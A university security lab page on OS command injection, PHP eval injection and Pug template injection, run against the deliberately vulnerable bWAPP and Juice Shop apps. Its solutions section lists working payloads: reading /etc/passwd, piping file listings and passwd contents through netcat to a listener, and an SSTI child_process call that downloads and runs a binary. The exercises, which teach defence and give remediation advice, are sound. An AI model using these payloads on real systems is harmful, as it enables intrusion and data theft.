OS Injections

Lecture Notes

This lecture will present an overview over OS specific injections and exploration with LOLBins.

Download here

Practical tasks

bWAPP

OS Command Injection

This lab will address Injection vulnerabilities and in particular OS Command Injection vulnerabilities. Take notes of your actions as you execute the lab, including the barriers found and how you overcame them.

Prepare the bWApp container:

docker run -d -p 80:80 --name bwapp raesene/bwapp 
docker exec -ti bwapp /bin/bash -c "apt update && apt install -y dnsutils curl"
docker exec -ti bwapp curl 'http://localhost/install.php?install=yes'

Then login and select the OS Command Injection exercises. You will be presented with a dialog asking for a address. The purpose is to issue a nslookup with that address. You can expect that the application will execute the nslookup command, plus the text provided by the user. The different security levels will add additional checks and limit the characters that can be used.

For reference you can follow the code in Sonarcloud.

A basic payload would be ; id, which effectively results in nslookup ; id and will execute two commands: nslookup and then id. This can be explored to execute any command!

The security levels will imply the following limitations:

Tasks:

Follow to the OS Command Injection - Blind. Blind command injection occurs when the system call that’s being made does not return the response of the call to the Document Object Model (DOM). Means when the command output is not displayed to us in the webpage, now how can we get to know that there is OS command injection when there is no output shown?

Try with an IP address of your choice and see what happens. Maybe you can try the IP address you have inside your network. Now start Wireshark and check if you receive a packet.

An attack will not present the result directly, but it may produce a result that is available on the machine or is sent remotely. Can you think about a payload to do this? As a hint consider the use of netcat, which can send any content to a remote server. You may need a simple web server in your host. python3 -m http.server may help.

The basic idea is to capture the result and send it to another server:

nslookup <arg>; command | nc -u <args>

The result may not be provided to the webpage, but the attacker may get information through other means.

Tasks

  • Evaluate what can be done with the input field
  • Devise a payload that runs a command and send the output to your server
  • Create a python script to conduct the exploit on demand, running any script.
  • Exfiltrate any file on demand.

HINT: To develop your exploit, you can use the nslookup inside the docker container, or you can use the previous exercise.

PHP Code Injection

The objective of these exercises is similar to the previous, but instead of injecting commands that will run on the bash, there will be a vulnerability which allows injecting PHP code. You can explore the code in the Sonarcloud instance, which is correctly identified as vulnerable. The issue in this case is the use of the eval keyword. Please check the documentation of this function, in particular, the warning that is presented there.

In this exercise, the page will accept one URL argument named message with a text. The text is evaluated inside PHP without the proper checks (excluding the fact that eval should not be used).

This exercise will only execute on the LOW security level.

Tasks

  • Create a payload that can be injected in this argument. As harmless functions check phpinfo() or echo.

OS Command Injection

For these tasks either install the software of access the Multi App VM in the laboratory.

Juice Shop

To install Juice Shop, run as a privileged user:

docker pull bkimminich/juice-shop
docker run --rm -p 3000:3000 -e NODE_ENV=unsafe bkimminich/juice-shop

Juice Shop will be available at http://localhost:3000. The NODE_ENV=unsafe is required in order to enable challenges that are dangerous to container based environments. The scoreboard is at: http://localhost:3000/#/score-board

Juice Shop is vulnerable to injection attacks, through a specific technique called Server Side Template Injection. These attacks are possible as webpages are composed by dynamic values added to a static template. The template contains HTML, which is modified dynamically with data specific to each request. If an attacker can control what data is added, it can exfiltrate information from a server, or even execute commands remotely.

With SSTI, once the threat actors identify the template engine, they can also gain further control of the server by using the remote code execution exploit. The untrusted users can identify the objects, methods and properties. Such exposure can further lead to information disclosure about application passwords, application programming interface keys and more.

Therefore, an SSTI vulnerability targeting the template engines and allowing untrusted users to edit templates introduces an array of serious risks. It is important for developers to take remediation steps that depend upon the different template engines in place.

To execute an SSTI attack against Juice shop, follow these instructions using ZAP.

  • Perform the totally obvious Google search for juicy malware to find https://github.com/J12934/juicy-malware

  • Your goal is to explore a RCE to make the server download and execute the malware version for the server OS. On a Linux system you might want to run something like wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_64?raw=true && chmod +x malware && ./malware. That will be the task to do, but inside the container, through the web interface.

  • Take notice that /profile is not an Angular page. This page is written using Pug which happens to be a Template engine and therefore perfectly suited for SSTI mischief.

  • Set your Username to 1+1 and click Set Username. Your username will be just shown as 1+1 under the profile picture.

  • Trying template injection into Pug set Username to #{1+1} and click Set Username. Your username will now be shown as 2 under the profile picture! In reality the content of your username was executed in the server. An addition is armless, but other code can be executed.

  • Craft a payload that will abuse the lack of encapsulation of JavaScript’s global.process object to dynamically load a library that will allow you to spawn a process on the server that will then download and execute the malware.

  • The payload might look like #{global.process.mainModule.require('child_process').exec('ls /')}. Then try with the provided malware, submit this as Username and (on a Linux server) the challenge should be marked as solved

  • As you are able to execute this command, you can also execute other commands. In fact, you are including Javascript, and then spawning a full blown command execution.

How to Remediate SSTI

The following remediation steps are abstract and can be applied to any template engine.

Sanitization

Templates should not be created from user-controlled input. User input should be passed to the template using template parameters. Sanitize the input before passing it into the templates by removing unwanted and risky characters before parsing the data. This minimizes the vulnerabilities for any malicious probing of your templates.

Sandboxing

If allowing certain risky characters is a business requirement to render certain attributes of a template, assume that malicious code execution is inevitable. Then, sandboxing the template environment in a docker container is probably a safer option. With this option, you can use docker security to craft a secure environment that limits any malicious activities.

With these things in mind, you’ll be able to look out for and remediate SSTI vulnerabilities while still taking advantage of what server-side templates have to offer.

Solutions

OS Command Injection

  • LOW: `
  • cat /etc/passwd`
  • Medium: | cat /etc/passwd
  • High: The host runs Linux with PHP 5.5.9. Probably only CVE-2016-1904 and Bug 71039 are applicable.

OS Command Injection - Blind

  • The command field accepts IP addresses and other text, but nothing is presented. Commands can be executed with the same format as in the previous exercise. As an example, this will work 127.0.0.1 | ping -c 3 10.105.0.XX

  • 127.0.0.1 | cat /etc/passwd | nc 10.105.0.X 1337 and in your server use nc -l -p 1337

  • 127.0.0.1 | cat /etc/passwd | nc 10.105.0.X 1337

  • 127.0.0.1 | find / | nc -u 10.105.0.X 1337

  • Nothing known to be possible when the security level is HIGH, because the PHP version and OS versions do not have any known CVE.

PHP Code Injection

  • message=phpinfo()

External Exercises

Previous
Next

Last updated on 25 Oct 2024